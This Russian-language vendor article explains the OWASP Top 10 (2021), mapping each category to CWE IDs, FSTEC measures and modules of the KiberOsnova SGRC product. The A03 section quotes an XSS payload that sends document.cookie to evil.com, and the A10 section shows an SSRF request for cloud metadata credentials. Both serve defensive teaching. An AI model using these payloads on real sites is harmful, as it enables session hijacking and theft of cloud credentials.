OWASP Top 10 на русском: CWE, БДУ ФСТЭК и меры защиты

OWASP Top 10 — стандарт де-факто в области безопасности веб-приложений. Рейтинг публикуется организацией OWASP (Open Worldwide Application Security Project) и описывает десять наиболее критичных классов уязвимостей, с которыми сталкиваются разработчики, специалисты ИБ и аудиторы. Актуальная версия — 2021 года. Для российских организаций OWASP Top 10 приобретает особое значение в контексте приказов ФСТЭК №117, №21 и №239: меры защиты из этих документов покрывают те же самые риски. В этой статье — полный разбор каждой категории на русском языке с привязкой к CWE-идентификаторам, данным БДУ ФСТЭК и модулям платформы КиберОснова SGRC.

Материал рассчитан на специалистов ИБ, руководителей ИТ, аудиторов и разработчиков, работающих с информационными системами, подпадающими под требования ФСТЭК: ГИС, ИСПДн, объекты КИИ. Каждая категория рассмотрена в привязке к практике — какие CWE входят в категорию, сколько уязвимостей зафиксировано в БДУ ФСТЭК, какие меры защиты применять и как автоматизировать мониторинг.

Все CWE-идентификаторы, упомянутые в статье, доступны в виде карточек на сайте КиберОснова с описанием, примерами и привязкой к записям БДУ. Через калькулятор CVSS v4.0 можно рассчитать критичность конкретной уязвимости и определить SLA на устранение по приказу ФСТЭК №117.

Что такое OWASP Top 10 и как его использовать

OWASP (Open Worldwide Application Security Project) — международная некоммерческая организация, основанная в 2001 году и объединяющая десятки тысяч экспертов по безопасности приложений в более чем 250 отделениях по всему миру. OWASP Top 10 — их наиболее известный проект: рейтинг десяти критичных рисков безопасности веб-приложений, обновляемый примерно раз в 3–4 года. Все материалы OWASP распространяются бесплатно под открытой лицензией.

Как формируется рейтинг

Рейтинг строится на анализе реальных данных — результатов сканирования, пентестов и инцидентов — от сотен компаний по всему миру. Для версии 2021 года OWASP проанализировал данные от более чем 500 000 приложений. Каждой категории присваиваются метрики: частота встречаемости (Incidence Rate), покрытие тестированием (Coverage), средневзвешенный CVSS. Категории ранжируются с учётом как распространённости, так и потенциального ущерба.

OWASP Top 10 — не исчерпывающий список всех угроз, а приоритизированный перечень рисков на основе эмпирических данных. Организации, которые закрывают только Top 10, существенно снижают свою поверхность атаки, но для полноценной защиты необходим комплексный подход.

История версий OWASP Top 10

Рейтинг публикуется с 2003 года. Ключевые изменения между версиями:

• 2003–2010 — Injection и XSS стабильно в первой тройке. Формируется классификация.
• 2013 — появление «Security Misconfiguration» как отдельной категории. Акцент на компонентах с известными уязвимостями.
• 2017 — «Injection» остаётся на первом месте. Добавлены «Insufficient Logging & Monitoring» и «XML External Entities (XXE)».
• 2021 — радикальный пересмотр: «Broken Access Control» на первом месте. Три новые категории: «Insecure Design», «Software and Data Integrity Failures», «SSRF». XXE объединена с «Security Misconfiguration».

Зачем OWASP Top 10 нужен в России

ФСТЭК России не ссылается на OWASP в своих нормативных документах напрямую. Однако на практике связь прямая:

• Группа мер АНЗ (анализ уязвимостей) из приказов ФСТЭК требует выявления и устранения уязвимостей — это именно то, что систематизирует OWASP Top 10.
• Группа мер УПД (управление доступом) закрывает категорию A01 (Broken Access Control).
• Группа мер ЗИС (защита информационной системы) закрывает A03 (Injection) и A05 (Security Misconfiguration).
• Группа мер ОЦЛ (обеспечение целостности) — A08 (Software and Data Integrity Failures).

OWASP Top 10 — практический чеклист для проверки полноты реализации мер ФСТЭК на прикладном уровне. Интерактивная таблица с CWE-маппингом доступна на странице OWASP Top 10 — хаб.

Связь OWASP Top 10 и CWE

Каждая категория OWASP Top 10 покрывает набор идентификаторов CWE (Common Weakness Enumeration) — стандартизированных типов уязвимостей. Например, категория A03 (Injection) включает CWE-79 (XSS), CWE-89 (SQLi), CWE-78 (Command Injection) и другие. БДУ ФСТЭК классифицирует каждую уязвимость по CWE-идентификаторам, что позволяет напрямую связывать записи реестра с категориями OWASP. Это превращает OWASP Top 10 из абстрактного списка в измеримый инструмент: можно подсчитать, сколько уязвимостей в БДУ относится к каждой категории, и определить приоритеты защиты на основе реальных данных.

A01:2021 — Нарушение контроля доступа (Broken Access Control)

Категория, занявшая первое место в рейтинге 2021 года (поднялась с пятого места в 2017). По данным OWASP, 94% протестированных приложений содержали ту или иную форму нарушения контроля доступа.

Суть проблемы

Контроль доступа гарантирует, что пользователи действуют только в рамках назначенных прав. Нарушение контроля доступа — это ситуация, когда пользователь может выполнять действия или получать данные за пределами своих полномочий: просматривать чужие записи, эскалировать привилегии до администратора, обходить ограничения через манипуляцию URL или API-параметров.

Связанные CWE

• CWE-862 — отсутствие авторизации
• CWE-287 — обход аутентификации
• CWE-269 — некорректное управление привилегиями
• CWE-863 — некорректная авторизация
• CWE-22 — Path Traversal

Пример уязвимости

Типичный сценарий — IDOR (Insecure Direct Object Reference). Пользователь обращается к /api/orders/12345, где 12345 — идентификатор его заказа. Изменив идентификатор на /api/orders/12346, он получает доступ к заказу другого пользователя. Серверная часть не проверяет, принадлежит ли запрашиваемый объект текущему пользователю.

Меры ФСТЭК

Меры группы УПД (управление доступом) из приказов ФСТЭК закрывают эту категорию:

• УПД.1 — управление учётными записями
• УПД.2 — разграничение доступа субъектов к объектам
• УПД.4 — разделение полномочий между администраторами
• УПД.13 — контроль доступа через веб-интерфейс

Как КиберОснова помогает

Модуль Аудит ИБ проверяет реализацию мер УПД в информационной системе. Результаты аудита фиксируются в платформе, назначаются ответственные и контролируются сроки устранения выявленных несоответствий. В привязке к OWASP A01 аудит проверяет: наличие ролевой модели доступа, корректность разграничения прав на уровне объектов (защита от IDOR), отсутствие прямого доступа к административным функциям без авторизации.

A02:2021 — Криптографические ошибки (Cryptographic Failures)

В версии 2017 года эта категория называлась «Sensitive Data Exposure» и занимала третье место. В 2021 году OWASP переименовал её и поднял на второе место, акцентируя внимание на корневой причине — некорректном использовании криптографии.

Суть проблемы

Криптографические ошибки — это использование слабых алгоритмов (MD5, SHA-1, DES), передача данных открытым текстом (HTTP вместо HTTPS), хранение паролей без хеширования или с устаревшими алгоритмами, жёстко закодированные ключи шифрования, некорректная генерация случайных чисел.

Связанные CWE

• CWE-327 — использование нестойкого криптоалгоритма
• CWE-295 — некорректная проверка сертификата
• CWE-522 — недостаточная защита учётных данных
• CWE-310 — криптографические ошибки (общая категория)

Пример уязвимости

Приложение хранит пароли пользователей в виде MD5-хешей без соли. При утечке базы данных злоумышленник использует радужные таблицы и восстанавливает большинство паролей за считанные часы. Для ИСПДн такая утечка — нарушение 152-ФЗ с риском оборотных штрафов по 420-ФЗ.

Меры ФСТЭК

• ЗИС.3 — криптографическая защита передаваемой информации
• ЗИС.7 — контроль использования СКЗИ
• ОЦЛ.1 — контроль целостности передаваемых данных

Требования ФСТЭК к криптографии в России имеют свою специфику: использование СКЗИ (средств криптографической защиты информации) регулируется отдельно, с требованием сертификации.

Как КиберОснова помогает

Модуль Учёт СКЗИ ведёт полный цикл управления криптографическими средствами: реестр СКЗИ, контроль сроков сертификатов, журналы поэкземплярного учёта, отслеживание лицензий. Это закрывает требования приказов ФСТЭК по учёту и контролю криптографических средств. При истечении срока сертификата или обнаружении уязвимости в криптопровайдере (например, через БДУ) платформа уведомляет ответственного специалиста.

A03:2021 — Инъекции (Injection)

Категория, которая занимала первое место в трёх предыдущих версиях рейтинга (2010, 2013, 2017) и опустилась на третье в 2021. Несмотря на снижение позиции, инъекции остаются одной из наиболее разрушительных атак.

Суть проблемы

Инъекция — это внедрение вредоносного кода через пользовательский ввод, который обрабатывается интерпретатором без надлежащей валидации. Сюда входят SQL-инъекции, межсайтовый скриптинг (XSS), внедрение команд ОС, LDAP-инъекции, XPath-инъекции.

Связанные CWE

• CWE-79 — межсайтовый скриптинг (XSS), тысячи записей в БДУ
• CWE-89 — SQL-инъекция, тысячи записей в БДУ
• CWE-78 — инъекция команд ОС
• CWE-77 — инъекция команд
• CWE-94 — инъекция кода

Подробный разбор наиболее распространённого типа — в статье Защита от SQL-инъекций (CWE-89).

Пример уязвимости

XSS-атака через поле комментариев на сайте. Атакующий вводит <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>. Если приложение не экранирует HTML-теги, скрипт выполняется в браузере каждого пользователя, просматривающего комментарий, и похищает сессионные cookie.

Меры ФСТЭК

• АНЗ.1 — выявление уязвимостей (включая инъекции) на этапе сканирования
• АНЗ.2 — контроль установки обновлений для устранения уязвимостей
• ЗИС.17 — фильтрация содержимого информационных потоков
• ОЦЛ.5 — контроль целостности входящих данных

Как КиберОснова помогает

Модуль БДУ ФСТЭК ежедневно синхронизируется с реестром bdu.fstec.ru и получает новые записи с CWE-классификацией. Уязвимости типа инъекций (CWE-79, CWE-89, CWE-78) автоматически сопоставляются с ИТ-активами организации, рассчитывается SLA на устранение по приказу №117.

A04:2021 — Небезопасное проектирование (Insecure Design)

Новая категория, впервые появившаяся в версии 2021. OWASP подчёркивает разницу между ошибками реализации (Implementation bugs) и ошибками проектирования (Design flaws): даже идеально написанный код не защитит систему, если архитектура изначально небезопасна.

Суть проблемы

Небезопасное проектирование — это отсутствие или неэффективность мер безопасности на уровне архитектуры приложения. Примеры: отсутствие моделирования угроз перед разработкой, недостаточная валидация бизнес-логики, неучтённые сценарии злоупотребления. В отличие от остальных категорий, эту проблему нельзя исправить патчем — требуется переработка архитектуры.

Связанные CWE

• CWE-20 — некорректная валидация ввода
• CWE-352 — межсайтовая подделка запросов (CSRF)

Пример уязвимости

Онлайн-кинотеатр позволяет бронировать места в зале. Бизнес-логика не ограничивает количество бронирований одним пользователем. Атакующий через скрипт бронирует все места и отменяет бронирование за минуту до начала — конкуренты остаются без зрителей. Это не инъекция и не обход аутентификации — это ошибка проектирования бизнес-логики.

Меры ФСТЭК

• АНЗ.3 — моделирование угроз на этапе проектирования
• УПД.6 — ограничение неуспешных попыток аутентификации

Приказ ФСТЭК №117 усиливает требования к анализу угроз на всех этапах жизненного цикла информационной системы.

Как КиберОснова помогает

Модуль Управление рисками поддерживает процесс моделирования угроз — от идентификации активов до оценки рисков и формирования плана обработки. Инструмент Модель угроз помогает структурировать анализ в соответствии с методикой ФСТЭК. Результаты моделирования сохраняются в платформе и могут использоваться при аттестации ИС — аудитор видит, какие угрозы были рассмотрены и какие меры приняты.

Для веб-приложений рекомендуется рассматривать все 10 категорий OWASP при моделировании угроз: это гарантирует полноту анализа на прикладном уровне и дополняет инфраструктурные угрозы из банка данных ФСТЭК.

A05:2021 — Ошибки конфигурации (Security Misconfiguration)

Категория поднялась с шестого места в 2017 году. С ростом облачных инфраструктур и контейнеризации проблема стала ещё актуальнее: каждый микросервис, контейнер и облачный ресурс — потенциальная точка некорректной конфигурации.

Суть проблемы

Ошибки конфигурации — это использование настроек по умолчанию, открытые порты и сервисы, избыточные привилегии, отсутствие security headers (CSP, HSTS, X-Frame-Options), включённые directory listings, доступные страницы отладки и стековые трассы в production.

Связанные CWE

• CWE-276 — некорректные разрешения по умолчанию
• CWE-732 — некорректные разрешения на критичный ресурс

Пример уязвимости

На production-сервере остаётся включённой консоль администрирования фреймворка с учётными данными по умолчанию (admin/admin). Сканер Shodan или аналог обнаруживает открытый порт — злоумышленник получает полный контроль над приложением. В БДУ ФСТЭК десятки записей о подобных уязвимостях в популярных серверах приложений.

Меры ФСТЭК

• АНЗ.4 — контроль состава ПО и параметров конфигурации
• ЗИС.1 — разделение функций по управлению системой и её защитой
• ОЦЛ.3 — контроль целостности конфигурационных файлов

Как КиберОснова помогает

Модуль Инвентаризация ведёт полный реестр ИТ-активов с фиксацией конфигураций: версии ПО, открытые порты, установленные компоненты. Изменения конфигурации отслеживаются — специалист ИБ видит, когда и что изменилось. В контексте OWASP A05 это означает автоматический контроль: появился новый сервис, изменились разрешения, обновилась версия ПО — всё фиксируется в реестре.

Для объектов КИИ контроль конфигураций — обязательное требование: каждое изменение должно быть зафиксировано, обосновано и согласовано. КиберОснова фиксирует полный аудитный след изменений конфигурации.

A06:2021 — Уязвимые и устаревшие компоненты (Vulnerable and Outdated Components)

Категория, которую раньше называли «Using Components with Known Vulnerabilities». Проблема усугубляется с ростом использования open-source: среднее приложение использует десятки сторонних библиотек, каждая из которых может содержать известные уязвимости.

Суть проблемы

Организация использует библиотеку, фреймворк или компонент с известной уязвимостью и не обновляет его. Атакующие сканируют публичные базы уязвимостей (CVE, БДУ ФСТЭК) и эксплуатируют известные уязвимости в необновлённом ПО. Зачастую эксплойты для таких уязвимостей публично доступны.

Связанные CWE

• CWE-1035 — использование компонентов с известными уязвимостями

Пример уязвимости

Log4Shell (CVE-2021-44228, БДУ:2021-06049) — критическая уязвимость в библиотеке Apache Log4j, которая позволяла удалённое выполнение кода через JNDI-инъекцию. Библиотека использовалась в тысячах Java-приложений. Организации, не имевшие полного реестра используемого ПО, не могли оперативно определить, затронуты ли их системы.

Меры ФСТЭК

• АНЗ.1 — выявление уязвимостей в используемом ПО
• АНЗ.2 — оперативное устранение уязвимостей (включая обновление компонентов)
• АНЗ.4 — контроль состава используемого ПО

Приказ ФСТЭК №117 устанавливает конкретные SLA на устранение уязвимостей в зависимости от CVSS-оценки: критические — 24 часа, высокие — 7 дней, средние — 30 дней.

Как КиберОснова помогает

Связка двух модулей решает эту задачу: Инвентаризация ведёт реестр всего ПО и его версий, а БДУ ФСТЭК сопоставляет установленное ПО с новыми записями реестра уязвимостей. При появлении новой уязвимости в компоненте, используемом в организации, платформа автоматически создаёт задачу с рассчитанным SLA.

Без полного реестра ПО организация не может ответить на простой вопрос: «Используем ли мы затронутую библиотеку?» Когда появляется критическая уязвимость масштаба Log4Shell, счёт идёт на часы. Организации с актуальным реестром активов в SGRC определяют затронутые системы за минуты, а не за дни.

A07:2021 — Ошибки аутентификации (Identification and Authentication Failures)

Категория опустилась со второго места в 2017 году, что свидетельствует об улучшении практик аутентификации в индустрии (внедрение MFA, стандартизация OAuth/OIDC). Тем не менее проблема остаётся значимой.

Суть проблемы

Ошибки аутентификации — это слабые или стандартные пароли, отсутствие многофакторной аутентификации (MFA), захардкоженные учётные данные (credentials) в исходном коде, незащищённый процесс восстановления пароля, отсутствие ограничения на количество попыток входа (brute-force).

Связанные CWE

• CWE-287 — обход аутентификации
• CWE-306 — отсутствие аутентификации для критичной функции
• CWE-798 — использование жёстко закодированных учётных данных

Пример уязвимости

API-эндпоинт для сброса пароля принимает email и отправляет ссылку для восстановления. Ссылка содержит предсказуемый токен (например, MD5 от email + timestamp с точностью до секунды). Атакующий, зная email жертвы, перебирает временные метки и восстанавливает токен за несколько минут.

Меры ФСТЭК

• ИАФ.1 — идентификация и аутентификация пользователей
• ИАФ.3 — управление идентификаторами
• ИАФ.4 — управление аутентификаторами (паролями)
• УПД.6 — ограничение неуспешных попыток аутентификации

Подробнее о формировании парольной политики в соответствии с требованиями ФСТЭК — в статье о парольной политике ИБ.

Как КиберОснова помогает

Модуль Документы ИБ содержит шаблоны парольных политик, регламентов аутентификации и процедур управления учётными записями в соответствии с требованиями приказов ФСТЭК. Модуль Аудит ИБ проверяет реализацию мер ИАФ на практике: корректность настроек блокировки учётных записей, наличие MFA для привилегированных пользователей, соответствие парольной политики требованиям регулятора.

A08:2021 — Нарушение целостности ПО и данных (Software and Data Integrity Failures)

Новая категория в версии 2021 года, вобравшая в себя проблемы небезопасной десериализации (ранее отдельная категория A8:2017) и атаки на цепочку поставок (supply chain attacks).

Суть проблемы

Приложение или его инфраструктура доверяют данным, плагинам, библиотекам или обновлениям без проверки целостности. Сюда входят: небезопасная десериализация (приложение десериализует данные из недоверенного источника), атаки на CI/CD (подмена зависимостей, компрометация pipeline), подмена пакетов в npm/PyPI/Maven (dependency confusion).

Связанные CWE

• CWE-502 — десериализация недоверенных данных
• CWE-94 — инъекция кода (через десериализацию)

Пример уязвимости

Атака dependency confusion: злоумышленник публикует вредоносный пакет в публичном реестре npm с тем же именем, что и внутренний пакет компании. Система сборки загружает публичную версию вместо внутренней, вредоносный код выполняется в CI/CD pipeline и получает доступ к секретам и инфраструктуре.

Меры ФСТЭК

• ОЦЛ.1 — контроль целостности ПО и информации
• ОЦЛ.2 — контроль целостности средств защиты информации
• ОЦЛ.5 — контроль данных, вводимых в информационную систему
• АНЗ.4 — контроль состава программного обеспечения

Как КиберОснова помогает

Модуль Управление рисками оценивает риски, связанные с цепочкой поставок ПО, и сформирует план обработки. Инвентаризация фиксирует все зависимости и компоненты, что позволяет за минуты определить, какие системы затронуты компрометацией конкретного пакета.

A09:2021 — Недостаточное логирование и мониторинг (Security Logging and Monitoring Failures)

Категория, расширенная по сравнению с версией 2017 года (ранее — «Insufficient Logging & Monitoring»). OWASP подчёркивает: без полноценного логирования и мониторинга обнаружение атаки невозможно. Среднее время обнаружения компрометации — 204 дня (данные IBM Cost of a Data Breach 2023).

Суть проблемы

Приложение не логирует критичные события безопасности: попытки аутентификации, изменения прав доступа, обращения к чувствительным данным. Или логирует, но логи не анализируются, не защищены от подделки, не хранятся достаточно долго, не интегрированы с системой реагирования на инциденты.

Связанные CWE

• CWE-778 — недостаточное логирование

Пример уязвимости

Приложение логирует успешные входы, но не логирует неуспешные попытки аутентификации. Атакующий проводит brute-force атаку на учётные записи — ни одного алерта не генерируется. Через неделю администратор обнаруживает компрометацию, когда данные уже похищены. Если бы система логировала неуспешные попытки и уведомляла при превышении порога — атака была бы остановлена в начале.

Меры ФСТЭК

• РСБ.1 — определение событий безопасности, подлежащих регистрации
• РСБ.2 — определение состава и содержания информации о событиях
• РСБ.3 — обеспечение хранения информации о событиях
• РСБ.7 — защита информации о событиях безопасности

Как КиберОснова помогает

Модуль Задачи ИБ управляет инцидентами и реагированием. При интеграции с SIEM-системой КиберОснова получает события безопасности, коррелирует их с данными об активах и уязвимостях, формирует инциденты и назначает ответственных. Это закрывает цикл от обнаружения до устранения.

Важно: OWASP рекомендует хранить логи безопасности не менее 90 дней, а для расследования инцидентов — до 12 месяцев. Приказ ФСТЭК №117 также устанавливает требования к срокам хранения логов. Автоматизация через SGRC гарантирует, что ни одно критичное событие не останется без внимания, а сроки хранения и реагирования соблюдаются.

A10:2021 — Подделка серверных запросов (Server-Side Request Forgery, SSRF)

Новая категория, добавленная в 2021 году по результатам опроса профессионального сообщества. Несмотря на относительно низкую частоту встречаемости в данных, SSRF была включена из-за высокого потенциального ущерба — особенно в облачных средах.

Суть проблемы

SSRF-атака заставляет серверное приложение отправлять HTTP-запросы к произвольным адресам — как внутренним (localhost, метаданные облака, внутренние сервисы), так и внешним. Атакующий использует веб-приложение как прокси для доступа к ресурсам, недоступным из интернета напрямую.

Связанные CWE

• CWE-918 — подделка серверных запросов (SSRF)

Пример уязвимости

Веб-приложение загружает изображение по URL, указанному пользователем: GET /api/fetch?url=https://example.com/image.png. Атакующий подставляет url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ — сервер обращается к метаданным облачного провайдера и возвращает временные ключи доступа к инфраструктуре. В инцидентах с Capital One (2019) аналогичный вектор привёл к утечке данных 100+ миллионов клиентов.

Меры ФСТЭК

• ЗИС.4 — сегментация информационной системы
• ЗИС.6 — контроль информационных потоков
• ЗИС.17 — фильтрация содержимого трафика

Как КиберОснова помогает

Модуль БДУ ФСТЭК отслеживает уязвимости типа SSRF (CWE-918) в используемом ПО организации. При обнаружении новой SSRF-уязвимости в компоненте, входящем в реестр активов, платформа автоматически создаёт задачу на устранение с расчётом SLA по калькулятору CVSS. Учитывая тенденцию к миграции в облачные среды, актуальность защиты от SSRF будет только расти — особенно для организаций, использующих гибридную инфраструктуру с внутренними сервисами, доступными по сети.

OWASP Top 10 и приказы ФСТЭК — сводная таблица

Ниже — маппинг каждой категории OWASP Top 10 на группы мер из приказов ФСТЭК №117, №21 и №239, а также на модули КиберОснова.

Эта таблица — отправная точка для оценки покрытия рисков OWASP мерами ФСТЭК в конкретной информационной системе. Полный каталог мер доступен в статье Меры защиты информации ФСТЭК. Чтобы увидеть, как КиберОснова SGRC автоматизирует мониторинг по всем 10 категориям — запросите демо.

Обратите внимание на два ключевых паттерна в таблице. Во-первых, группа мер АНЗ (анализ уязвимостей) покрывает сразу несколько категорий OWASP — это системообразующая группа, от реализации которой зависит защита по нескольким направлениям. Во-вторых, модуль БДУ ФСТЭК в КиберОснова связан с тремя категориями (A03, A06, A10) — это отражает центральную роль мониторинга уязвимостей в системе защиты.

Как мониторить OWASP-уязвимости через БДУ ФСТЭК

Реестр БДУ ФСТЭК содержит более 85 000 уязвимостей, каждая из которых классифицирована по CWE. БДУ можно использовать как источник данных для мониторинга OWASP-уязвимостей.

Шаг 1. Определить CWE для каждой категории OWASP

Каждая OWASP-категория покрывает набор CWE-идентификаторов. Например, A03 (Injection) включает CWE-79, CWE-89, CWE-78, CWE-77, CWE-94. Полный маппинг доступен на странице OWASP Top 10.

Шаг 2. Сформировать реестр ИТ-активов

Создайте полный реестр ПО, используемого в организации: операционные системы, серверы приложений, СУБД, фреймворки, библиотеки. Модуль Инвентаризация КиберОснова автоматизирует этот процесс.

Шаг 3. Настроить мониторинг

КиберОснова ежедневно синхронизируется с БДУ ФСТЭК. При появлении новой уязвимости с CWE, входящим в OWASP Top 10, платформа:

1. Сопоставляет уязвимость с реестром активов — определяет, используется ли затронутое ПО в организации.
2. Рассчитывает критичность по CVSS v4.0 — каждая запись БДУ содержит оценку критичности.
3. Определяет SLA на устранение по приказу №117 — от 24 часов (Critical) до 30 дней (Medium).
4. Создаёт задачу и назначает ответственного — специалист ИБ получает уведомление с контекстом и дедлайном.

Шаг 4. Отслеживать покрытие

Сводный дашборд КиберОснова показывает покрытие рисков OWASP Top 10 в организации: сколько уязвимостей обнаружено, сколько устранено, сколько просрочено. Это данные для отчётов руководству и регулятору.

Шаг 5. Формировать отчёты для руководства и регулятора

КиберОснова формирует отчёты по нескольким срезам: по категориям OWASP (сколько уязвимостей A01, A03 и так далее обнаружено в инфраструктуре), по критичности (CVSS Critical/High/Medium/Low), по статусу устранения (новые, в работе, устранённые, просроченные). Эти данные необходимы при подготовке к проверкам ФСТЭК, при аттестации информационных систем и для регулярных отчётов руководству об уровне защищённости.

Преимущества автоматизации перед ручным мониторингом

Ручной мониторинг БДУ ФСТЭК подразумевает ежедневное посещение сайта bdu.fstec.ru, просмотр новых записей, сопоставление с используемым ПО и ведение реестра в Excel. При объёме 60 000+ записей и десятках новых ежедневно это физически невозможно без пропусков. Автоматизация через SGRC-платформу исключает человеческий фактор: синхронизация происходит ежедневно, маппинг на активы — автоматически, SLA рассчитывается по формулам приказа №117. Специалист ИБ получает не поток «сырых» данных, а приоритизированный backlog с дедлайнами и контекстом.

Попробовать мониторинг OWASP-уязвимостей через БДУ ФСТЭК можно, запросив демо КиберОснова SGRC.

FAQ

Что такое OWASP Top 10 и кто его составляет?

OWASP Top 10 — рейтинг десяти наиболее критичных рисков безопасности веб-приложений, составляемый организацией OWASP (Open Worldwide Application Security Project). Рейтинг формируется на основе анализа данных об уязвимостях от сотен компаний по всему миру: анализируются инциденты, результаты сканирования и пентестов. Последняя версия — 2021 года, следующая ожидается в 2025–2026. OWASP — некоммерческая организация, рейтинг публикуется бесплатно и используется как стандарт де-факто при разработке, тестировании и аудите веб-приложений в большинстве стран, включая Россию.

Как OWASP Top 10 связан с требованиями ФСТЭК России?

ФСТЭК России не ссылается на OWASP Top 10 напрямую в своих нормативных документах. Однако меры защиты из приказов №117, №21 и №239 фактически покрывают те же риски. Группа мер АНЗ (анализ уязвимостей) требует выявления и устранения уязвимостей, что напрямую соотносится с категориями A01–A10. Мера УПД (управление доступом) закрывает OWASP A01, а мера ЗИС (защита информационной системы) — A03. OWASP Top 10 можно использовать как практический чеклист для проверки полноты реализации мер ФСТЭК.

Сколько уязвимостей в БДУ ФСТЭК относится к категориям OWASP Top 10?

Реестр БДУ ФСТЭК содержит более 85 000 уязвимостей, и подавляющее большинство из них классифицируется по CWE-идентификаторам, входящим в категории OWASP Top 10. По CWE-89 (SQL-инъекции) и CWE-79 (XSS) в БДУ зафиксированы тысячи записей каждого типа. Категория A01 (Broken Access Control) через CWE-862 и CWE-287 покрывает ещё тысячи записей. Отслеживать уязвимости по конкретным CWE можно через бесплатный реестр БДУ на КиберОснова.

Когда выйдет новая версия OWASP Top 10?

По состоянию на апрель 2026 года актуальная версия — OWASP Top 10 2021. OWASP обновляет рейтинг примерно раз в 3–4 года: версия 2013, затем 2017, затем 2021. Следующая версия ожидается в 2025–2026 годах, но точные сроки зависят от завершения сбора и анализа данных. Между обновлениями OWASP публикует специализированные рейтинги: OWASP API Security Top 10 (2023), OWASP Top 10 for LLM Applications (2025), OWASP Mobile Top 10.

Обязателен ли OWASP Top 10 для сертификации по требованиям ФСТЭК?

OWASP Top 10 не является обязательным документом в российском правовом поле и не фигурирует в процедурах сертификации ФСТЭК. Однако на практике сертификационные лаборатории при проверке средств защиты информации используют методики, покрывающие те же риски: анализ уязвимостей, тестирование на проникновение, проверка механизмов аутентификации и контроля доступа. OWASP Top 10 — удобная структура для систематизации работы по безопасности приложений, признанная международным профессиональным сообществом.

Как использовать OWASP Top 10 при моделировании угроз?

OWASP Top 10 служит отправной точкой при моделировании угроз для веб-приложений. Каждая из 10 категорий определяет класс угроз для оценки: контроль доступа (A01), криптография (A02), защита от инъекций (A03) и далее по списку. При составлении модели угроз по методике ФСТЭК категории OWASP помогают не пропустить актуальные векторы атак на прикладном уровне. КиберОснова включает инструменты для моделирования угроз с учётом данных БДУ ФСТЭК.

Чем OWASP Top 10 отличается от OWASP API Security Top 10?

OWASP Top 10 охватывает риски безопасности веб-приложений в целом: инъекции, нарушение контроля доступа, криптографические ошибки, ошибки конфигурации. OWASP API Security Top 10 (версия 2023) специализируется на API-уязвимостях: Broken Object Level Authorization (BOLA), массовое назначение атрибутов (Mass Assignment), отсутствие ограничения частоты запросов (Rate Limiting), небезопасное потребление API. Для современных приложений с REST и GraphQL API оба рейтинга актуальны и дополняют друг друга. КиберОснова отслеживает уязвимости обоих типов через CWE-классификацию в БДУ ФСТЭК.

Как автоматизировать мониторинг OWASP-уязвимостей через SGRC?

SGRC-платформа КиберОснова автоматизирует полный цикл работы с уязвимостями по всем категориям OWASP Top 10. Платформа ежедневно синхронизируется с БДУ ФСТЭК и получает новые записи с CWE-классификацией, которая напрямую маппится на категории OWASP. Уязвимости сопоставляются с реестром ИТ-активов организации, рассчитывается SLA на устранение по приказу №117, назначаются ответственные и контролируются сроки. Запросите демо, чтобы увидеть мониторинг OWASP-уязвимостей на практике.

Какая категория OWASP Top 10 самая опасная?

В версии 2021 года на первом месте стоит A01 — Broken Access Control (Нарушение контроля доступа). Категория поднялась с пятого места в 2017 году: 94% протестированных приложений содержали нарушения контроля доступа. В БДУ ФСТЭК связанные CWE (CWE-862, CWE-287, CWE-269) составляют тысячи записей. Последствия — эскалация привилегий, доступ к чужим данным, захват административных функций. Меры ФСТЭК группы УПД направлены на предотвращение этого класса угроз.